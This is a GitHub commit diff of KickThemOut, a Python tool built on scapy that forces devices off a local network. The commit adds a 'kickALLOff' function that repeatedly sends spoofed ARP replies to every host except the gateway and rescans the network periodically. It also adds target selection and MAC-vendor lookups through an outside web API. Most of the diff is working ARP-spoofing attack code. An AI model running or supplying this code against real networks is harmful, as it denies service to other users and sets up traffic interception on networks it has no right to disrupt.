kickALLOff added

This commit is contained in:
David Schütz 2017-01-01 15:25:46 +01:00 committed by GitHub
parent c5ca168641
commit bc3f79a1b3
2 changed files with 111 additions and 24 deletions

View File

@ -11,11 +11,15 @@ See License at nikolaskama.me (https://nikolaskama.me/kickthemoutproject)
import time, os, sys, logging, math import time, os, sys, logging, math
import scan, spoof import scan, spoof
from time import sleep from time import sleep
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) # Shut up scapy! import urllib2 as urllib
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) # Shut up scapy!
from scapy.all import * from scapy.all import *
BLUE, RED, WHITE, YELLOW, MAGENTA, GREEN, END = '\33[94m', '\033[91m', '\33[97m', '\33[93m', '\033[1;35m', '\033[1;32m', '\033[0m' BLUE, RED, WHITE, YELLOW, MAGENTA, GREEN, END = '\33[94m', '\033[91m', '\33[97m', '\33[93m', '\033[1;35m', '\033[1;32m', '\033[0m'
def heading(): def heading():
sys.stdout.write(GREEN + """ sys.stdout.write(GREEN + """
@ -24,10 +28,13 @@ def heading():
""" + END + BLUE + """ + END + BLUE +
'\n' + '{0}Kick Devices Off Your LAN ({1}KickThemOut{2}){3}'.format(YELLOW, RED, YELLOW, BLUE).center(88) + '\n' + '{0}Kick Devices Off Your LAN ({1}KickThemOut{2}){3}'.format(YELLOW, RED, YELLOW,
'\n' + 'Made With <3 by: {0}Nikolaos Kamarinakis ({1}k4m4{2}) & {0}David Schütz ({1}xdavidhu{2}){3}'.format(YELLOW, RED, YELLOW, BLUE).center(67) + BLUE).center(88) +
'\n' + 'Version: {0}0.1{1}'.format(YELLOW, END).center(77)) '\n' + 'Made With <3 by: {0}Nikolaos Kamarinakis ({1}k4m4{2}) & {0}David Schütz ({1}xdavidhu{2}){3}'.format(
YELLOW, RED, YELLOW, BLUE).center(67) +
'\n' + 'Version: {0}0.1{1}\n'.format(YELLOW, END).center(77))
def optionBanner(): def optionBanner():
print('\nChoose option from menu:\n') print('\nChoose option from menu:\n')
@ -39,21 +46,49 @@ def optionBanner():
sleep(0.2) sleep(0.2)
print('\n\t{0}[{1}E{2}]{3} Exit KickThemOut\n').format(YELLOW, RED, YELLOW, WHITE) print('\n\t{0}[{1}E{2}]{3} Exit KickThemOut\n').format(YELLOW, RED, YELLOW, WHITE)
def scanNetwork(): def scanNetwork():
global hostsList global hostsList
hostsList = scan.scanNetwork() hostsList = scan.scanNetwork()
regenOnlineIPs()
def regenOnlineIPs():
global onlineIPs
global defaultGatewayMac
onlineIPs = []
for host in hostsList:
onlineIPs.append(host[0])
if host[0] == defaultGatewayIP:
defaultGatewayMac = host[1]
def kickoneoff(): def kickoneoff():
os.system("clear||cls") os.system("clear||cls")
print("\n{0}kickONEOff{1} selected...{2}\n").format(RED, GREEN, END) print("\n{0}kickONEOff{1} selected...{2}\n").format(RED, GREEN, END)
scanNetwork() scanNetwork()
print "Online IPs: "
print("Online IPs: ")
for i in range(len(onlineIPs)): for i in range(len(onlineIPs)):
print(" [{0}"+str(i)+"{1}] {2}"+str(onlineIPs[i])+"{3}\n").format(YELLOW, WHITE, RED, END) mac = ""
for host in hostsList:
if host[0] == onlineIPs[i]:
mac = host[1]
vendor = resolveMac(mac)
print(" [{0}" + str(i) + "{1}] {2}" + str(onlineIPs[i]) + "{3}\t"+ vendor + "\n{4}").format(YELLOW, WHITE, RED, GREEN, END)
canBreak = False
while not canBreak:
try:
choice = int(raw_input("\nChoose a target: "))
canBreak = True
except KeyboardInterrupt:
return
except:
print("{0}[!] Please enter a number!{1}").format(RED, END)
choice = int(raw_input("IP of the target: ")) # TODO: try, except
one_target_ip = onlineIPs[choice] one_target_ip = onlineIPs[choice]
one_target_mac = "" one_target_mac = ""
for host in hostsList: for host in hostsList:
@ -78,11 +113,51 @@ def kickoneoff():
time.sleep(0.5) time.sleep(0.5)
print("\n{0}Re-arped{1} target.{2}").format(RED, GREEN, END) print("\n{0}Re-arped{1} target.{2}").format(RED, GREEN, END)
def kicksomeoff(): def kicksomeoff():
print('kicksomeoff') print('kicksomeoff')
def kickalloff(): def kickalloff():
print('kickalloff') os.system("clear||cls")
print("\n{0}kickALLOff{1} selected...{2}\n").format(RED, GREEN, END)
scanNetwork()
print("Online IPs: ")
for i in range(len(onlineIPs)):
mac = ""
for host in hostsList:
if host[0] == onlineIPs[i]:
mac = host[1]
vendor = resolveMac(mac)
print(str("{0}"+ str(onlineIPs[i]) + "{1}\t" + vendor + "{2}").format(RED, GREEN, END))
print("\n{0}Spoofing started... {1}\n").format(GREEN, END)
try:
reScan = 0
while True:
for host in hostsList:
if host[0] != defaultGatewayIP:
spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, host[0], host[1])
reScan = reScan + 1
if reScan == 4:
reScan = 0
scanNetwork()
time.sleep(15)
except KeyboardInterrupt:
print("\n{0}Re-arping{1} target...{2}").format(RED, GREEN, END)
rearp = 1
while rearp != 10:
for host in hostsList:
if host[0] != defaultGatewayIP:
spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, host[0], host[1])
rearp = rearp + 1
time.sleep(0.5)
print("\n{0}Re-arped{1} target.{2}").format(RED, GREEN, END)
def getDefaultInterface(): def getDefaultInterface():
def long2net(arg): def long2net(arg):
@ -116,16 +191,31 @@ def getDefaultInterface():
if net: if net:
return interface return interface
def getGatewayIP(): def getGatewayIP():
getGateway_p = sr1(IP(dst="google.com", ttl=0) / ICMP() / "XXXXXXXXXXX", verbose=False) getGateway_p = sr1(IP(dst="google.com", ttl=0) / ICMP() / "XXXXXXXXXXX", verbose=False)
return getGateway_p.src return getGateway_p.src
def main(): def resolveMac(mac):
try:
url = "http://macvendors.co/api/vendorname/"
request = urllib.Request(url + mac, headers={'User-Agent': "API Browser"})
response = urllib.urlopen(request)
vendor = response.read()
vendor = vendor.decode("utf-8")
vendor = vendor[:25]
return vendor
except:
return "RESOLVING_ERROR"
def main():
heading() heading()
print("\n{0}Using interface '{1}"+defaultInterface+"{2}' with mac address '{3}"+defaultInterfaceMac+"{4}'.\nGateway IP: '{5}" print(
+ defaultGatewayIP + "{6}'. {7}" + str(len(hostsList)) + "{8} hosts are up.{9}").format(GREEN, RED, GREEN, RED, GREEN, RED, GREEN, RED, GREEN, END) "\n{0}Using interface '{1}" + defaultInterface + "{2}' with mac address '{3}" + defaultInterfaceMac + "{4}'.\nGateway IP: '{5}"
+ defaultGatewayIP + "{6}'. {7}" + str(len(hostsList)) + "{8} hosts are up.{9}").format(GREEN, RED, GREEN, RED,
GREEN, RED, GREEN, RED,
GREEN, END)
try: try:
@ -151,23 +241,20 @@ def main():
# EXECUTE kickalloff FUNCTION (FF:FF:FF:FF:FF:FF) # EXECUTE kickalloff FUNCTION (FF:FF:FF:FF:FF:FF)
elif choice.upper() == 'CLEAR': elif choice.upper() == 'CLEAR':
os.system("clear||cls") os.system("clear||cls")
#else: # else:
#print('*INVALID OPTION*') # print('*INVALID OPTION*')
except KeyboardInterrupt: except KeyboardInterrupt:
print('\nThanks for dropping by.' print('\nThanks for dropping by.'
'\nCatch ya later!{0}').format(END) '\nCatch ya later!{0}').format(END)
if __name__ == '__main__': if __name__ == '__main__':
defaultInterface = getDefaultInterface() defaultInterface = getDefaultInterface()
defaultGatewayIP = getGatewayIP() defaultGatewayIP = getGatewayIP()
defaultInterfaceMac = get_if_hwaddr(defaultInterface) defaultInterfaceMac = get_if_hwaddr(defaultInterface)
scanNetwork() scanNetwork()
onlineIPs = []
for host in hostsList:
onlineIPs.append(host[0])
if host[0] == defaultGatewayIP:
defaultGatewayMac = host[1]
main() main()

View File

@ -17,8 +17,8 @@ from scapy.all import (
sendp sendp
) )
def sendPacket(my_mac, gateway_ip, target_ip, target_mac):
def sendPacket(my_mac, gateway_ip, target_ip, target_mac):
ether = Ether() ether = Ether()
ether.src = my_mac ether.src = my_mac
@ -37,7 +37,7 @@ def sendPacket(my_mac, gateway_ip, target_ip, target_mac):
arp.op = 2 arp.op = 2
def broadcastPacket(): def broadcastPacket():
packet = ether/arp packet = ether / arp
sendp(x=packet, verbose=False) sendp(x=packet, verbose=False)
broadcastPacket() broadcastPacket()